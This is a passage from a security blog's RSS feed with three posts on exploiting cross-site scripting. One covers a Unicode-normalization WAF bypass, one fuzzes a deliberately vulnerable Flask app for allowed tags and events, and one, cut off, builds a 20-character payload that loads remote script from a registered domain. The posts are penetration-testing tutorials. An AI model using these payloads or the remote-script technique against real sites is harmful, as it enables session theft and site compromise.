&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 44

Test XSS: ðâð¤ðâð°ð¥ðð
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unicode compatibility is not performed ❌&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If Burp Suite is going to be used to perform this tests, the payload must be &lt;strong&gt;URL encoded first&lt;/strong&gt;. Burp’s editor does not handle multibyte characters properly.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/?utm_source=newsletter&amp;amp;utm_medium=email&amp;amp;utm_campaign=bug_bytes_53_exploiting_a_ssrf_in_weasyprint_the_bug_that_exposed_your_paypal_password_and_12_tricks_for_burp_repeater&amp;amp;utm_term=2020-01-14&quot;&gt;Appcheck - Unicode Normalization Vulnerabilities &amp;amp; the Special K Polyglot&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://withblue.ink/2019/03/11/why-you-need-to-normalize-unicode-strings.html&quot;&gt;Withblue - When “Zoë” !== “Zoë”. Or why you need to normalize Unicode strings&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;http://www.unicode.org/reports/tr15/&quot;&gt;Unicode.org&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</description>
          <pubDate>2020-02-19T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/Bypass_WAF_Unicode</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Bypass_WAF_Unicode</guid>
        </item>
      
    
      
        <item>
          <title>Detecting valid tags/events on XSS exploitation.</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Detecting valid tags/events on XSS exploitation.&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200125/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Exploiting &lt;strong&gt;Cross-Site Scripting (XSS)&lt;/strong&gt; vulnerabilities might be a little tricky. In this blog post, the functionality of a helpful script will be described to assist in the injection of valid HTML/JavaScript syntax to take advantage of a weak tag/event validation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This post is based on the amazing job of the Portswigger’s team and it’s &lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&quot;&gt;Cross-site scripting (XSS) cheat sheet&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;analyzing-the-injection-point&quot;&gt;Analyzing the injection point&lt;/h2&gt;

&lt;p&gt;In order to explain in a practical way, a vulnerable server is deployed using &lt;em&gt;Flask&lt;/em&gt;. This server accepts an input parameter (&lt;em&gt;name&lt;/em&gt;) and the parameter is reflected in the response without any encoding. However, the &lt;em&gt;blacklist&lt;/em&gt; value is going to be filled with a list of strings that will try to detect a XSS.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;flask&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Flask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;abort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;app&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Flask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'/XSS'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Welcome_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'name'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;blacklist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
  
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;any&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;blacklist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; 
    &lt;span class=&quot;n&quot;&gt;abort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;403&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;XSS Detected&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Test XSS: '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'__main__'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0.0.0.0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;81&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once the application is deployed, a GET request with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; character is performed to analyse how the response reflects it:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /XSS?name=asf&amp;lt; HTTP/1.1

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 14
Server: Werkzeug/0.16.0 Python/3.7.5
Date: Fri, 24 Jan 2020 20:32:32 GMT

Test XSS: asf&amp;lt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It seems vulnerable to XSS. Another GET request is submited using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img&lt;/code&gt; tag:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Request:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /XSS?name=asf&amp;lt;img HTTP/1.1

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Response:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.7.5
Date: Fri, 24 Jan 2020 20:36:50 GMT

&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 3.2 Final//EN&quot;&amp;gt;
&amp;lt;title&amp;gt;403 Forbidden&amp;lt;/title&amp;gt;
&amp;lt;h1&amp;gt;Forbidden&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;XSS Detected&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;XSS Detected&lt;/strong&gt;. How the filter works must be analysed.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;xss-tagevent-analyzer&quot;&gt;XSS Tag/Event analyzer&lt;/h2&gt;

&lt;p&gt;The following Python script analyzes which suitable payload could be used to exploit a valid XSS when tags/events are validated. It compares the information supplied after analyzing how the filter works and the information of &lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&quot;&gt;Cross-site scripting (XSS) cheat sheet&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It can be downloaded &lt;a href=&quot;https://gitlab.com/jlajara/xss-tag_event-analyzer&quot;&gt;&lt;strong&gt;Here&lt;/strong&gt; - https://gitlab.com/jlajara/xss-tag_event-analyzer&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The usage is the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;usage: find_xss.py [-h] [-f FILE] [-t TAGS [TAGS ...]]
                   [-e EVENTS [EVENTS ...]] [-o OUTPUT]

Find suitable XSS Payloads.

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  file with the payloads
  -t TAGS [TAGS ...], --tags TAGS [TAGS ...]
                        array with allowed tags
  -e EVENTS [EVENTS ...], --events EVENTS [EVENTS ...]
                        array with allowed events
  -o OUTPUT, --output OUTPUT
                        output payload list
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;methodology&quot;&gt;Methodology:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; Fuzz with burpsuite or other tool the content of the &lt;em&gt;tags.txt&lt;/em&gt; file. The point of fuzzing should be placed after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; character:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /XSS?name=asf&amp;lt;§tag§ HTTP/1.1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200125/1.png&quot; alt=&quot;Tags&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The following &lt;strong&gt;tags&lt;/strong&gt; are candidates to a valid exploitation: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b blink details marquee blockquote&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; Fuzz with burpsuite or other tool the content of the &lt;em&gt;events.txt&lt;/em&gt; file. The point of fuzzing should be placed after a &lt;strong&gt;valid tag&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /XSS?name=asf&amp;lt;b+§event§ HTTP/1.1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200125/2.png&quot; alt=&quot;Events&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The following &lt;strong&gt;events&lt;/strong&gt; are candidates to a valid exploitation: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oncontextmenu onhashchange onmouseout onpopstate&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; Check the combination of tags and events with the script. &lt;strong&gt;Tags and events are separated by an space character&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;❯ python find_xss.py -t b blink details marquee blockquote -e oncontextmenu onhashchange onmouseout onpopstate

Payloads found:

+--------------------------------------------------------+-----------------------------+
| Payload                                                |    Browser Compatibility    |
+--------------------------------------------------------+-----------------------------+
| &amp;lt;b oncontextmenu=&quot;alert(1)&quot;&amp;gt;test&amp;lt;/b&amp;gt;                   | chrome firefox edge safari  |
| &amp;lt;blink oncontextmenu=&quot;alert(1)&quot;&amp;gt;test&amp;lt;/blink&amp;gt;           | chrome firefox edge safari  |
| &amp;lt;blockquote oncontextmenu=&quot;alert(1)&quot;&amp;gt;test&amp;lt;/blockquote&amp;gt; | chrome firefox edge safari  |
| &amp;lt;details oncontextmenu=&quot;alert(1)&quot;&amp;gt;test&amp;lt;/details&amp;gt;       | chrome firefox edge safari  |
| &amp;lt;marquee oncontextmenu=&quot;alert(1)&quot;&amp;gt;test&amp;lt;/marquee&amp;gt;       | chrome firefox edge safari  |
| &amp;lt;b onmouseout=&quot;alert(1)&quot;&amp;gt;test&amp;lt;/b&amp;gt;                      | chrome firefox edge safari  |
| &amp;lt;blink onmouseout=&quot;alert(1)&quot;&amp;gt;test&amp;lt;/blink&amp;gt;              | chrome firefox edge safari  |
| &amp;lt;blockquote onmouseout=&quot;alert(1)&quot;&amp;gt;test&amp;lt;/blockquote&amp;gt;    | chrome firefox edge safari  |
| &amp;lt;details onmouseout=&quot;alert(1)&quot;&amp;gt;test&amp;lt;/details&amp;gt;          | chrome firefox edge safari  |
| &amp;lt;marquee onmouseout=&quot;alert(1)&quot;&amp;gt;test&amp;lt;/marquee&amp;gt;          | chrome firefox edge safari  |
+--------------------------------------------------------+-----------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;4.&lt;/strong&gt; Testing the injection:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://localhost:81/XSS?name=asf&amp;lt;b oncontextmenu=&quot;alert(1)&quot;&amp;gt;test&amp;lt;/b&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20200125/3.png&quot; alt=&quot;Tags&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;notes&quot;&gt;Notes&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-f / --file&lt;/code&gt; parameter is used to specify the payload database, by default it uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;db.json&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-t / --tags&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-e / --events&lt;/code&gt; are not specified, it will be completed with any value.&lt;/li&gt;
  &lt;li&gt;Some payloads use various tags, therefore both tags should be accepted to achieve a complete execution.&lt;/li&gt;
  &lt;li&gt;Payloads are basics and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert(1)&lt;/code&gt; is probably detected by most WAFs, some evasion should be performed.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&quot;&gt;Cross-site scripting (XSS) cheat sheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
          <pubDate>2020-01-25T00:00:00+01:00</pubDate>
          <link>https://jlajara.gitlab.io/XSS_tag_event_analyzer</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/XSS_tag_event_analyzer</guid>
        </item>
      
    
      
        <item>
          <title>Exploiting XSS with 20 characters limitation</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Exploiting XSS with 20 characters limitation&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191130/0.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cross-Site Scripting (XSS)&lt;/strong&gt; is one of the most common vulnerabilities found across a web penetration testing. However, depending on the injection point, a character limitation problem could be found. In this post, &lt;strong&gt;unicode compatibility&lt;/strong&gt; is going to be taken to exploit some XSS vulnerabilities.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;unicode-compatibility&quot;&gt;Unicode compatibility&lt;/h2&gt;

&lt;p&gt;In &lt;strong&gt;Unicode equivalence&lt;/strong&gt; some sequences of code points represent essentially the same character. This feature was introduced in the standard to allow compatibility with preexisting standard character sets. Unicode provides two ways of handling that: &lt;strong&gt;canonical equivalence&lt;/strong&gt; and &lt;strong&gt;compatibility&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Canonical equivalence&lt;/strong&gt;: Code point sequences are assumed to have the same appearance and meaning when printed or displayed. For example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt; + &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;◌̃&lt;/code&gt; = &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ñ&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Compatible equivalence&lt;/strong&gt;: Code point sequences are assumed to have possibly distinct appearances, but the same meaning in some contexts. For example &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ﬀ&lt;/code&gt; character has the equivalent to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ff&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;20-length-limitation-problem&quot;&gt;20 length limitation problem&lt;/h2&gt;

&lt;p&gt;Therefore, supose a length limitation of a payload is set, and we confirm the Javascript execution with a 20 character payload like this:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;svg&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;onload=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;alert``&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But, this is harmless, because we can only pop an alert, without showing the impact behind a XSS. &lt;strong&gt;Loading an external Javascript&lt;/strong&gt; would be perfect and would give us more flexibility to prepare a more complex attack.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;//aa.es&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Therefore, a payload like this would be perfect, because we can load a remote Javascript file with 20 characters. But almost every domain of this kind is &lt;strong&gt;taken&lt;/strong&gt; or is too &lt;strong&gt;expensive&lt;/strong&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;taking-advantage&quot;&gt;Taking advantage&lt;/h2&gt;

&lt;p&gt;Browsers perform &lt;strong&gt;unicode compatibility&lt;/strong&gt; with some characters, let’s see an example. Supose we have this payload:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;//ﬀﬀ.pw&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ﬀ&lt;/code&gt; characters is only &lt;strong&gt;one character&lt;/strong&gt; but when browsers interpret it, it will be expanded as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ff&lt;/code&gt; &lt;strong&gt;two characters&lt;/strong&gt;. This open the door to buy larger domains, in a &lt;strong&gt;cheaper&lt;/strong&gt; way.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;ﬀ expands to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ff&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;℠ expands to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sm&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;㏛ expands to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sr&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;ﬆ expands to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;st&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;㎭ expands to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rad&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;℡ expands to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tel&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More of these characters can be found &lt;a href=&quot;https://www.unicode.org/charts/normalization/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To check in which characters are decomposed check &lt;a href=&quot;https://www.compart.com/en/unicode/U+2121&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191130/1.png&quot; alt=&quot;Character decomposition&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then, lets register a domain a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telsr.pw&lt;/code&gt; for example. It costs only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$1.28&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191130/2.png&quot; alt=&quot;Domain price&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Our final payload will look like this:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;//℡㏛.pw&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Observe how the normalization is performed and our registered endpoint is trying to be reached with a payload of &lt;strong&gt;20 characters&lt;/strong&gt; instead of &lt;strong&gt;23 characters&lt;/strong&gt; thanks of &lt;strong&gt;unicode compatibility&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191130/3.png&quot; alt=&quot;PoC&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;next-steps&quot;&gt;Next steps&lt;/h2&gt;

&lt;p&gt;Therefore, a domain is registered and a payload is trying to reach that domain, however it has not executed anything yet.&lt;/p&gt;

&lt;p&gt;One thing came into my mind, let’s perform a &lt;strong&gt;DNS Redirect&lt;/strong&gt;, it will work as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; XSS is triggered and browser tries to load the content of to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telsr.pw&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; DNS redirects to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xsshunter.com&lt;/code&gt; to trigger the XSS execution.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; Win&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But there is a problem, if the connection goes over &lt;strong&gt;HTTPS&lt;/strong&gt; and we trigger a script with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src=\\url&lt;/code&gt; the protocol will be the same as the website. Then, if we perform a DNS redirect to another site, there will be a &lt;strong&gt;certificate mismatch&lt;/strong&gt; and the Javascript file will not be loaded.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20191130/5.png&quot; alt=&quot;Schema1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If the comunication goes over &lt;strong&gt;HTTP&lt;/strong&gt; this is not a problem, but it is not the common scenario.&lt;/p&gt;

&lt;p&gt;This was solved doing the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1.&lt;/strong&gt; Buy a &lt;strong&gt;hosting&lt;/strong&gt; to that domain, the cheapest one &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$1.44/mo&lt;/code&gt;. In my case was using namecheap.com.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; Set up a &lt;strong&gt;HTTPS certificate&lt;/strong&gt;, it is free the first year.&lt;/li&gt;
